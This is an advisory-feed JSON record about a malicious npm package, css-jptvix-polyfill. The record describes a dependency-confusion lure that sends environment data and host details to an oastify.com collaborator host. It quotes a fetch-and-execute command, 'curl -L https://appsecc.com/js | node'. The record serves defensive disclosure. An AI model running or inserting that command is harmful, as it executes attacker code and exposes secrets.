{"items":[{"id":"NVI-00010451","kind":"supply_chain_event","title":"Malicious code in css-jptvix-polyfill (npm)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-m6m7-6f4x-c5v3"],"plain_summary":"GitHub lists this malware advisory for css-jptvix-polyfill. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-dccc88a13ae222f7d7141672fd71bd1d"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-dccc88a13ae222f7d7141672fd71bd1d","url":"https://github.com/advisories/GHSA-m6m7-6f4x-c5v3","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-m6m7-6f4x-c5v3","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T22:07:01.069Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-dccc88a13ae222f7d7141672fd71bd1d"],"technology":"css-jptvix-polyfill","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa)\nThe package ships thunderboltRegistry.js, a Proxy-based shim that exports names mimicking internal Wix thunderbolt modules (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, documentManagementRegistry, and others) so that any import of those names in a victim build auto-triggers its payload. On load, the module uses child_process.execSync to run `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, and ships the output together with the hostname via fetch to the hardcoded Burp Collaborator subdomain https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com, leaking the full process environment (including any tokens or secrets present) and host identifiers off the installer's machine. The same IIFE additionally runs `curl -L https://appsecc.com/js | node`, piping attacker-controlled JavaScript from an unrelated third-party domain directly into the installer's Node.js interpreter; the code labels this branch `reverse-shell`. The package name and the Wix-internal registry shape are consistent with a dependency-confusion lure targeting Wix thunderbolt builds.\n\n---\n\nCredit: [Open","public_affected_ranges":["= 1.0.0"]}],"null_published_at":"2026-10-31T22:27:06.717Z","source_updated_at":"2026-10-09T00:32:03.000Z","source_disclosed_at":"2026-10-06T21:31:38.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T22:07:01.069Z"}],"next_cursor":null,"snapshot_revision":"42594"}